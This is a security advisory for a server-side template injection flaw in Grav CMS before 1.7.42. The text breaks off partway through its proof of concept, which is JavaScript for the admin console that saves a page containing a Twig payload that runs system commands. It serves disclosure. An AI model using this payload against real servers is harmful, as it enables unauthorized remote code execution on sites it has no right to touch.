Grav is a flat-file content management system. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.

Affected: Packagist: getgrav/grav

### Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen.

### Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.

### PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (`http://127.0.0.1:8000/admin/pages/typography`) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed. ```js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=__unique_form_id__]").value;

const payload = "{{['id']|map('system')|join}}"; // SSTI Payload

const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", ""); params.append("data[name]", "default"); params.append("data[header][body_classes]", ""); params.append("data[ordering]", 1); params.append("data[order]", ""); params.append("toggleable_data[header][process]", "on"); params.append("data[header][process][twig]", 1); params.append("data[header][order_by]", ""); params.append("data[header][order_manual]", ""); params.append("data[blueprint", ""); params.append("data[lang]", ""); params.append("_post_entries_save", "edit");…